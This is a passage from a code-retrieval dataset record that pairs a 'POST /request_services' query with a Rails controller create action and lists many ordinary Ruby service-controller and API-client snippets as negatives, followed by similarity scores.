|d|\n d['period'] ? \"#{d['period']}s\" : '-'\n end\n\n column :COOL, \"\", :size=>5 do |d|\n d['cooldown'] ? \"#{d['cooldown']}s\" : '-'\n end\n\n default :ADJUST, :EXPRESSION, :EVALS, :PERIOD, :COOL\n end.show([role['elasticity_policies']].flatten, {})\n end\n\n if role['scheduled_policies'] && role['scheduled_policies'].size > 0\n puts\n# puts \"SCHEDULED POLICIES\"\n CLIHelper::ShowTable.new(nil, self) do\n column :ADJUST, \"\", :left, :size=>12 do |d|\n adjust_str(d)\n end\n\n column :TIME, \"\", :left, :size=>67 do |d|\n if d['start_time']\n Time.parse(d['start_time']).to_s\n else\n d['recurrence']\n end\n end\n\n default :ADJUST, :TIME\n end.show([role['scheduled_policies']].flatten, {})\n end\n end\n\n puts\n }\n\n puts\n\n CLIHelper.print_header(str_h1 % \"LOG MESSAGES\",false)\n\n if template['log']\n template['log'].each { |log|\n t = Time.at(log['timestamp']).strftime(\"%m/%d/%y %H:%M\")\n puts \"#{t} [#{log['severity']}] #{log['message']}\"\n }\n end\n\n 0\n end\n end\nend",
"def index\n @services = Service.all.order('created_at DESC')\n render json: @services\n end",
"def list_services_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ServiceApi.list_services ...'\n end\n # unbox the parameters from the hash\n if @api_client.config.client_side_validation && !opts[:'per_page'].nil? && opts[:'per_page'] > 100\n fail ArgumentError, 'invalid value for \"opts[:\"per_page\"]\" when calling ServiceApi.list_services, must be smaller than or equal to 100.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'per_page'].nil? && opts[:'per_page'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"per_page\"]\" when calling ServiceApi.list_services, must be greater than or equal to 1.'\n end\n\n allowable_values = [\"ascend\", \"descend\"]\n if @api_client.config.client_side_validation && opts[:'direction'] && !allowable_values.include?(opts[:'direction'])\n fail ArgumentError, \"invalid value for \\\"direction\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/service'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'per_page'] = opts[:'per_page'] if !opts[:'per_page'].nil?\n query_params[:'sort'] = opts[:'sort'] if !opts[:'sort'].nil?\n query_params[:'direction'] = opts[:'direction'] if !opts[:'direction'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'Array<ServiceListResponse>'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['token']\n\n new_options = opts.merge(\n :operation => :\"ServiceApi.list_services\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ServiceApi#list_services\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def get endpoint\n do_request :get, endpoint\n end",
"def set_service_request\n @service_request = ServiceRequest.find(params[:id])\n end",
"def set_service_request\n @service_request = ServiceRequest.find(params[:id])\n end",
"def set_service_request\n @service_request = ServiceRequest.find(params[:id])\n end",
"def set_service_request\n @service_request = ServiceRequest.find(params[:id])\n end",
"def set_service_request\n @service_request = ServiceRequest.find(params[:id])\n end",
"def request_service_params\n params.require(:request_service).permit(:service_id, :request_id)\n end",
"def show\n #@service_request = ServiceRequest.find(params[:id])\n @the_creator = User.find_by_id(@service_request.user_id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @service_request }\n end\n end",
"def index\n @service_users = ServiceUser.all\n render json: @service_users\n end",
"def index\n @call_services = CallService.all\n end",
"def service\r\n channels = Channel.where(service: channel_params[:service])\r\n render json: channels\r\n end",
"def index\n @event_services = EventService.all.where(event_id: params[:event_id])\n @event = Event.find(params[:event_id])\n end",
"def service_params\n params[:service]\n end",
"def index\n @requests = ::Request.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @requests }\n end\n end",
"def services\n services = @saloon.services\n\n render_success(data: services, each_serializer: ServiceSerializer)\n end",
"def query_service(service)\n #remove on production/create testing case?\n resp = @client.get_content(service)\n @@logger.debug \"Service succesfully queried\"\n\n return resp\n end",
"def service_directory_name\n \"rest\"\n end",
"def get_services()\n return get_request(address(\"/OS-KSADM/services\"), token())\n end",
"def get_calls(service)\n\t\treturn @transport.get_path(\"calls\",service)\n\tend",
"def service; services.first; end",
"def show\n @latest_version = @service.latest_version\n @latest_version_instance = @latest_version.service_versionified\n @latest_deployment = @service.latest_deployment\n\n @all_service_version_instances = @service.service_version_instances\n @all_service_types = @service.service_types\n\n @soaplab_server = @service.soaplab_server\n\n @pending_responsibility_requests = @service.pending_responsibility_requests\n unless is_api_request?\n @service_tests = @service.service_tests\n @test_script_service_tests = @service.service_tests_by_type(\"TestScript\")\n @url_monitor_service_tests = @service.service_tests_by_type(\"UrlMonitor\")\n end\n if @latest_version_instance.is_a?(RestService)\n @grouped_rest_methods = @latest_version_instance.group_all_rest_methods_from_rest_resources\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml # show.xml.builder\n format.json { render :json => @service.to_json }\n end\n end",
"def index\n @requests = Request.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @requests }\n end\n end",
"def index\n @requests = Request.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @requests }\n end\n end",
"def to_get_request\n 'get_%ss' % api_name\n end",
"def show\n @online_service = OnlineService.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @online_service }\n end\n end",
"def api_v11_clusters_cluster_name_services_service_name_nameservices_nameservice_get_with_http_info(nameservice, service_name, cluster_name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi#api_v11_clusters_cluster_name_services_service_name_nameservices_nameservice_get ...\"\n end\n \n # verify the required parameter 'nameservice' is set\n fail \"Missing the required parameter 'nameservice' when calling api_v11_clusters_cluster_name_services_service_name_nameservices_nameservice_get\" if nameservice.nil?\n \n # verify the required parameter 'service_name' is set\n fail \"Missing the required parameter 'service_name' when calling api_v11_clusters_cluster_name_services_service_name_nameservices_nameservice_get\" if service_name.nil?\n \n # verify the required parameter 'cluster_name' is set\n fail \"Missing the required parameter 'cluster_name' when calling api_v11_clusters_cluster_name_services_service_name_nameservices_nameservice_get\" if cluster_name.nil?\n \n # resource path\n path = \"/api/v11/clusters/{clusterName}/services/{serviceName}/nameservices/{nameservice}\".sub('{format}','json').sub('{' + 'nameservice' + '}', nameservice.to_s).sub('{' + 'serviceName' + '}', service_name.to_s).sub('{' + 'clusterName' + '}', cluster_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = []\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#api_v11_clusters_cluster_name_services_service_name_nameservices_nameservice_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def show\n #@service is already loaded and authorized\n\n respond_to do |format|\n format.html # show.html.haml\n format.json { render json: @service }\n end\n end",
"def show\n @additional_service = AdditionalService.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @additional_service }\n end\n end",
"def services\n\tend",
"def get_service request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_get_service_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::ServiceDirectory::V1beta1::Service.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def simple_request(method, url)\n uri = URI.parse(url)\n request = Net::HTTP::Get.new(uri)\n request.content_type = \"application/json\"\n request[\"Accept\"] = \"application/json\"\n request[\"App-Id\"] = ENV[\"salt_edge_app_id\"]\n request[\"Secret\"] = ENV[\"salt_edge_secret\"]\n\n req_options = {\n use_ssl: uri.scheme == \"https\",\n } \n\n response = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|\n http.request(request)\n end\n\n #puts response.body\n return JSON.parse(response.body)\n end",
"def set_service\n begin\n @service = Service.find(params[:id])\n rescue\n render json: {error: \"Service not found\"}, status: 404\n end\n end",
"def add_request\n\t\t@service = Service.find(params[:id])\n\n\t\t# Validation booleans to make sure user can be considered for this service\n\t\t# A user cannot place a request on a service that they created\n\t\tservice_is_current_user = @service.user_id == current_user.id;\n\t\t# A user cannot place a request on a service that is created by another user of the same group\n\t\tservice_same_user = @service.user.group == current_user.group;\n\t\t#TODO: Add a validation check for Service::LISTED\n\n\t\tif service_is_current_user || service_same_user\n\t\t\t#TODO: Return error if somehow user is trying to request their own service\n\t\t\tputs \"ERROR! Unexpected Service Behaviour!\"\n\t\t\tredirect_to (services_path)\n else\n @service.user.notifications.create title: \"#{current_user.first_name} #{current_user.last_name} has requested you for #{@service.title}!\",\n reference_user_id: current_user.id,\n reference_service_id: @service.id,\n user_id: @service.user_id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t notification_type: \"AddRequest\",\n read: FALSE\n\n\t\t\tconversation = Conversation.between(current_user.id, @service.user_id).first\n\t\t\tif conversation.blank?\n\t\t\t\tConversation.create sender_id: current_user.id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t recipient_id: @service.user_id\n\t\t\tend\n\t\t\tconversation_id = Conversation.between(current_user.id, @service.user_id).first.id\n\n\t\t\tMessage.create body: \"This is an auto generated message. Refer to your notifications for more information! #{current_user.first_name} #{current_user.last_name} has requested you for #{@service.title}!\",\n\t\t\t\t\t\t\t\t\t\t read: FALSE,\n\t\t\t\t\t\t\t\t\t\t conversation_id: conversation_id,\n\t\t\t\t\t\t\t\t\t\t user_id: current_user.id\n #@service.user.notifications.create_notification(@service.user,\n # \"#{current_user.first_name} #{current_user.last_name} has requested you for #{@service.title}!\",\n #current_user, @service)\n\t\t\[email protected]_users.create service_id: @service.id, user_id: current_user.id\n\t\t\tredirect_to (services_path)\n\t\tend\n\tend",
"def response_from_service\n\n end",
"def list_services request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_list_services_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::Metastore::V1::ListServicesResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def api_v11_clusters_cluster_name_services_service_name_get_with_http_info(service_name, cluster_name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi#api_v11_clusters_cluster_name_services_service_name_get ...\"\n end\n \n # verify the required parameter 'service_name' is set\n fail \"Missing the required parameter 'service_name' when calling api_v11_clusters_cluster_name_services_service_name_get\" if service_name.nil?\n \n # verify the required parameter 'cluster_name' is set\n fail \"Missing the required parameter 'cluster_name' when calling api_v11_clusters_cluster_name_services_service_name_get\" if cluster_name.nil?\n \n # resource path\n path = \"/api/v11/clusters/{clusterName}/services/{serviceName}\".sub('{format}','json').sub('{' + 'serviceName' + '}', service_name.to_s).sub('{' + 'clusterName' + '}', cluster_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = []\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#api_v11_clusters_cluster_name_services_service_name_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def get_service request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_get_service_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::Metastore::V1::Service.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def ajax_service_point\n sp_id = params['sp_id']\n url = ENV['OKAPI_URL']\n tenant = ENV['OKAPI_TENANT']\n sp = CUL::FOLIO::Edge.service_point(url, tenant, folio_token, sp_id)\n render json: sp\n end",
"def index\n @title = \"Services - JC Auto Restoration, Inc.\"\n @services = Service.all\n end",
"def set_servicerequest\n @servicerequest = Servicerequest.find(params[:id])\n end",
"def types_of_service(params, options = {})\n path = \"#{base_uri(params)}/patient_documents\"\n path << current_if_specified_in(params)\n path << '/type_of_service_extension'\n request(path, options).to_hash\n end",
"def show\n @service_type = ServiceType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @service_type }\n end\n end",
"def index\n services = accessible_services.includes(:proxy, :account).order(:id).paginate(pagination_params)\n respond_with(services)\n end"
] |
[
"0.7070424",
"0.69753677",
"0.6972877",
"0.67665744",
"0.662034",
"0.6411179",
"0.63580173",
"0.6355132",
"0.63343805",
"0.6327788",
"0.6261548",
"0.61813897",
"0.6177567",
"0.6165123",
"0.6093947",
"0.60446036",
"0.60322344",
"0.60319954",
"0.6024766",
"0.60019755",
"0.597162",
"0.5934956",
"0.5930772",
"0.5930772",
"0.5930772",
"0.5912906",
"0.59043145",
"0.5894374",
"0.58817464",
"0.5872788",
"0.5869164",
"0.58618873",
"0.5836283",
"0.5830877",
"0.58282423",
"0.5823022",
"0.58151054",
"0.58078754",
"0.580178",
"0.5799443",
"0.5792501",
"0.57897425",
"0.5766712",
"0.5753071",
"0.5749705",
"0.5747265",
"0.57135016",
"0.57026356",
"0.57015777",
"0.56969076",
"0.5694192",
"0.5680304",
"0.5679314",
"0.5669432",
"0.56652015",
"0.5650447",
"0.5643024",
"0.56429887",
"0.5641584",
"0.5639169",
"0.5639169",
"0.5639169",
"0.5639169",
"0.5639169",
"0.56315166",
"0.56254745",
"0.56213397",
"0.56185097",
"0.5616023",
"0.56002265",
"0.5598855",
"0.55960697",
"0.5593729",
"0.5589777",
"0.5585451",
"0.55732346",
"0.5569099",
"0.5567448",
"0.5557376",
"0.5552902",
"0.5552902",
"0.5548576",
"0.55476016",
"0.554562",
"0.5540763",
"0.554049",
"0.5520957",
"0.551548",
"0.5506762",
"0.55056316",
"0.5504065",
"0.55007637",
"0.54999155",
"0.54844946",
"0.54843843",
"0.5483281",
"0.5481042",
"0.54769874",
"0.54741013",
"0.54696846",
"0.54669446"
] |
0.0
|
-1
|
POST /request_services POST /request_services.json
|
def create
@request_service = RequestService.new(request_service_params)
respond_to do |format|
if @request_service.save
format.html { redirect_to requests_path, notice: 'Request service was successfully created.' }
format.json { render :show, status: :created, location: @request_service }
else
format.html { render :new }
format.json { render json: @request_service.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def add_service(service={})\n request :post, '/services', service\n end",
"def service_request(service); end",
"def register_services(request)\n return unless request.is_a? RestfulRequest\n @active_requests[request.id][:arduino_responses][request.address[:name]].match /^(?:[A-Za-z].*\\n)*([\\[|\\{](?:.*\\n*)*)\\n/\n return unless services_json = $1\n\n JSON.parse(services_json).each do |services|\n services[\"resource_name\"].match /(^\\D*)(?:_\\d)*$/\n return unless service_type_name = $1\n puts_debug \"[Controller:register_services] current resource name matched '#{$1}'\"\n \n # get service id by finding existing service id, or adding a new service if needed \n service_id = get_service_id(service_type_name)\n new_instance = {name: services[\"resource_name\"], \n post_enabled: services[\"post_enabled\"],\n range_min: services[\"range\"][\"min\"],\n range_max: services[\"range\"][\"max\"],\n device_id: request.address[:device_id], service_type_id: service_id}\n ::ArduinoGateway::Model::ModelTemplates::ResourceInstance.new new_instance \n end\n end",
"def index\n @request_services = RequestService.all\n end",
"def services\n params = { command: 'account_services' }\n get('/json.php', params)\n end",
"def request_service_params\n params.require(:request_service).permit(:service_id, :request_id)\n end",
"def create\n @service_request = ServiceRequest.new(service_request_params)\n # Add the selected services to the service request\n @service_request.services << Service.find(service_request_service[:services].to_i)\n @service_request.user_id = current_user.id\n # When a service request is created, it's status is set to \"Open\"\n @service_request.status = \"Open\"\n\n # Call generate_order_number method in the ServiceRequest model to get a value for the order number\n @service_request.generate_order_number\n\n respond_to do |format|\n if @service_request.save\n format.html { redirect_to user_service_requests_path, success: 'Service request was successfully created.' }\n format.json { render :show, status: :created, location: @service_request }\n else\n format.html { render :new }\n format.json { render json: @service_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def requested\n requested_params = {\n external_code: params[:id],\n company_id: params[:company][:id],\n company_name: params[:company][:name],\n recruiter_id: params[:recruiter][:id],\n recruiter_name: params[:recruiter][:name],\n applicant_id: params[:applicant][:id],\n applicant_name: params[:applicant][:name],\n job_id: params[:job][:id],\n job_title: params[:job][:title],\n status: params[:status]\n }\n\n @service = Service.new(requested_params)\n\n if @service.save\n render json: { status: :created }, status: :created\n else\n render json: @service.errors, status: :unprocessable_entity\n end\n end",
"def get_services\n reply = @client.call(:get_services)\n\n data = reply.body.dig(:get_services_response,\n :get_services_result,\n :array_of_string)\n data = check_if_data_exists(data)\n\n data.map do |attrs|\n {\n id: Integer(attrs[:string][0], 10),\n name: attrs[:string][1]\n }\n end\n end",
"def create\n req = VCAP::Services::Api::ServiceOfferingRequest.decode(request_body)\n logger.debug(\"Create service request: #{req.extract.inspect}\")\n\n # Should we worry about a race here?\n\n success = nil\n svc = Service.find_by_label(req.label)\n if svc\n raise CloudError.new(CloudError::FORBIDDEN) unless svc.verify_auth_token(@service_auth_token)\n attrs = req.extract.dup\n attrs.delete(:label)\n # Keep DB in sync with configs if the token changes in the config\n attrs[:token] = @service_auth_token if svc.is_builtin?\n svc.update_attributes!(attrs)\n else\n # Service doesn't exist yet. This can only happen for builtin services since service providers must\n # register with us to get a token.\n svc = Service.new(req.extract)\n raise CloudError.new(CloudError::FORBIDDEN) unless svc.is_builtin? && svc.verify_auth_token(@service_auth_token)\n svc.token = @service_auth_token\n svc.save!\n end\n\n render :json => {}\n end",
"def services\n Rails.logger.debug 'Inside service'\n @result_json = {}\n begin\n action = params[:do]\n case action\n when 'login'\n Rails.logger.debug 'Processing login'\n @result_json = login\n when 'register'\n Rails.logger.debug 'Processing registration'\n @result_json = register\n when 'save_linkedin_profile'\n Rails.logger.debug 'Saving Linkedin Profile'\n @result_json = save_linkedin_profile\n when 'get_dim_data'\n dim_type = params[:dim_type]\n Rails.logger.debug \"Getting dimension data - #{dim_type}\"\n @result_json = get_dim_data (dim_type)\n when 'get_filter_data'\n filter_data = params[:filter_data]\n columns = params[:columns]\n Rails.logger.debug \"Getting Filter data - #{filter_data}\"\n @result_json = get_filter_data(filter_data, columns)\n else\n Rails.logger.warn 'Unsupported service call'\n end\n rescue\n Rails.logger.error \"Error in service method #{$!}\"\n ensure\n render json: @result_json\n end\n end",
"def create\n @service_request = ServiceRequest.new(service_request_params)\n\n respond_to do |format|\n if @service_request.save\n\n format.html { redirect_to tank_information_path(@service_request.id), notice: 'Service request was successfully created.' }\n format.json { render :show, status: :created, location: @service_request }\n else\n format.html { render :new }\n format.json { render json: @service_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @service_request = ServiceRequest.new(service_request_params)\n @service_request.status = 1; # 1 = Open\n @service_request.user_id = current_user.id\n \n respond_to do |format|\n if @service_request.save\n format.html { redirect_to @service_request, notice: 'Service request was successfully created.' }\n format.json { render json: @service_request, status: :created, location: @service_request }\n else\n format.html { render action: \"new\" }\n format.json { render json: @service_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def services\n\n end",
"def create_service_request\n # Geocode the address\n lat, long = Geocoder.coordinates(\"#{self.restaurant_address} , Chicago, IL\") \n\n HTTParty.post('http://311api.cityofchicago.org/open311/v2/requests.json', :body => { \n :api_key => SETTINGS[\"OPEN_311_KEY\"],\n :service_code => '4fd6e4ece750840569000019',\n :attribute => {\n :PLEASESE => 'FOODPOIS',\n :WHATISTH => self.restaurant_name,\n :ONWHATDA => self.date\n },\n :address_string => self.restaurant_address,\n :description => self.description,\n :lat => lat, \n :long => long, \n :first_name => self.first_name,\n :last_name => self.last_name,\n :email => self.email,\n :phone => self.phone\n })\n end",
"def create\n @service = Service.new(service_params)\n if @service.save\n render json: @service, status: :created, location: @service\n else\n render json: @service.errors, status: :unprocessable_entity\n end\n end",
"def create_services_for_env(services=[])\n whitelist = ['name', 'label', 'plan', 'tags', 'plan_option', 'credentials']\n svcs_hash = {}\n services.each do |svc|\n svcs_hash[svc['label']] ||= []\n svc_hash = {}\n whitelist.each {|k| svc_hash[k] = svc[k] if svc[k]}\n svcs_hash[svc['label']] << svc_hash\n end\n svcs_hash.to_json\n end",
"def set_request_service\n @request_service = RequestService.find(params[:id])\n end",
"def service_requests_list\n @service_requests = ServiceRequest.get_all_service_requests(@page)\n end",
"def request(service, method = :get, payload = {})\n res = Infosimples::Data::HTTP.request(\n url: BASE_URL.gsub(':service', service),\n http_timeout: timeout,\n method: method,\n payload: payload.merge(\n token: token,\n timeout: timeout,\n max_age: max_age,\n header: 1\n )\n )\n JSON.parse(res)\n end",
"def add_request\n\t\t@service = Service.find(params[:id])\n\n\t\t# Validation booleans to make sure user can be considered for this service\n\t\t# A user cannot place a request on a service that they created\n\t\tservice_is_current_user = @service.user_id == current_user.id;\n\t\t# A user cannot place a request on a service that is created by another user of the same group\n\t\tservice_same_user = @service.user.group == current_user.group;\n\t\t#TODO: Add a validation check for Service::LISTED\n\n\t\tif service_is_current_user || service_same_user\n\t\t\t#TODO: Return error if somehow user is trying to request their own service\n\t\t\tputs \"ERROR! Unexpected Service Behaviour!\"\n\t\t\tredirect_to (services_path)\n else\n @service.user.notifications.create title: \"#{current_user.first_name} #{current_user.last_name} has requested you for #{@service.title}!\",\n reference_user_id: current_user.id,\n reference_service_id: @service.id,\n user_id: @service.user_id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t notification_type: \"AddRequest\",\n read: FALSE\n\n\t\t\tconversation = Conversation.between(current_user.id, @service.user_id).first\n\t\t\tif conversation.blank?\n\t\t\t\tConversation.create sender_id: current_user.id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t recipient_id: @service.user_id\n\t\t\tend\n\t\t\tconversation_id = Conversation.between(current_user.id, @service.user_id).first.id\n\n\t\t\tMessage.create body: \"This is an auto generated message. Refer to your notifications for more information! #{current_user.first_name} #{current_user.last_name} has requested you for #{@service.title}!\",\n\t\t\t\t\t\t\t\t\t\t read: FALSE,\n\t\t\t\t\t\t\t\t\t\t conversation_id: conversation_id,\n\t\t\t\t\t\t\t\t\t\t user_id: current_user.id\n #@service.user.notifications.create_notification(@service.user,\n # \"#{current_user.first_name} #{current_user.last_name} has requested you for #{@service.title}!\",\n #current_user, @service)\n\t\t\[email protected]_users.create service_id: @service.id, user_id: current_user.id\n\t\t\tredirect_to (services_path)\n\t\tend\n\tend",
"def user_service_request\n @service_requests = @user.get_user_service_requests(@page)\n end",
"def create\n @service_request = ServiceRequest.new(service_request_params)\n @service_request.created_at = Time.now\n respond_to do |format|\n if @service_request.save\n format.html { redirect_to hospital_service_requests_path, notice: 'Service request was successfully created.' }\n format.json { render :show, status: :created, location: hospital_service_requests_path }\n else\n format.html { render :new }\n format.json { render json: @service_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def request_params\n params.require(:request).permit( :description, :completed, :user_id, :auto_id, service:[])\n end",
"def list_services request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_list_services_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::Metastore::V1::ListServicesResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def service(id)\n request :get, \"/services/#{id}\"\n end",
"def add_to_services(name, type, description)\n data = {\n 'OS-KSADM:service' => {\n 'name' => name,\n 'type' => type,\n 'description' => description\n }\n }\n return post_request(address(\"/OS-KSADM/services\"), data, token())\n end",
"def list_services\n response = @http_client.get(prefix_path('services'))\n Response.new(response)\n end",
"def service_params\n params[:service]\n end",
"def reset_services(services=[])\n request :put, '/services', services\n end",
"def index\n endpoint(get(services_url).body)\n end",
"def index\n @service_requests = ServiceRequest.all\n end",
"def send_service_input\n # Send the request\n base64Input = params[:project][:input]\n response = RestClient.post(SERVICE_REQUEST_URL,\n {\n :id => @project[:id],\n :options => @project[:service_options],\n :input => base64Input\n }.to_json, {content_type: :json, accept: :json})\n # Set the project's eta to the SMACK server's predicted processing time\n return JSON.parse(response.body)['eta']\n end",
"def services\n end",
"def create_service request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_create_service_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::ServiceDirectory::V1beta1::Service.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def addservice\n\n @service = ServiceProvider.find_by(username: params[:serviceprovider][:username]);\n permitted = params[:serviceprovider].permit( :description, :category_id);\n @service.services.create(permitted);\n\n render json: @service\n\n\nend",
"def create_service request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_create_service_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Longrunning::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def services(query = {})\n get('service', query)\n end",
"def service_params\n params\n .require(:service)\n .permit(:service, :name, :api_domain, :api_path,\n :auth_domain, :auth_path, :auth_type, :auth_user,\n :app_api_key, :app_api_secret,\n :custom_client_id, :custom_client_secret,\n :custom_domain, :service, :metrc_username, :metrc_password)\n end",
"def list_services(client, args, options)\n response = client.get(RESOURCE_PATH)\n\n if CloudClient::is_error?(response)\n [response.code.to_i, response.to_s]\n else\n #[0,response.body]\n if options[:json]\n [0,response.body]\n else\n array_list = JSON.parse(response.body)\n SERVICE_TABLE.show(array_list['DOCUMENT_POOL']['DOCUMENT'])\n 0\n end\n end\nend",
"def create\n service = current_account.services.build\n create_service = ServiceCreator.new(service: service)\n create_service.call(service_params)\n service.reload if service.persisted? # It has been touched\n respond_with(service)\n end",
"def create\n service = current_account.services.build\n create_service = ServiceCreator.new(service: service)\n create_service.call(service_params.to_h)\n service.reload if service.persisted? # It has been touched\n respond_with(service)\n end",
"def create\n @service = @enterprise.services.new(service_params)\n\n respond_to do |format|\n if @service.save\n format.html { redirect_to edit_service_path(@service), notice: 'El servicio ha sido creado satisfactoriamente.' }\n format.json { render :edit, status: :created, location: @service }\n else\n format.html { render :new }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_service\n @options[:method] = 'testservice'\n response = ta_response(base_params)\n return response\n end",
"def service_params\n params.require(:service).permit(:name_service)\n end",
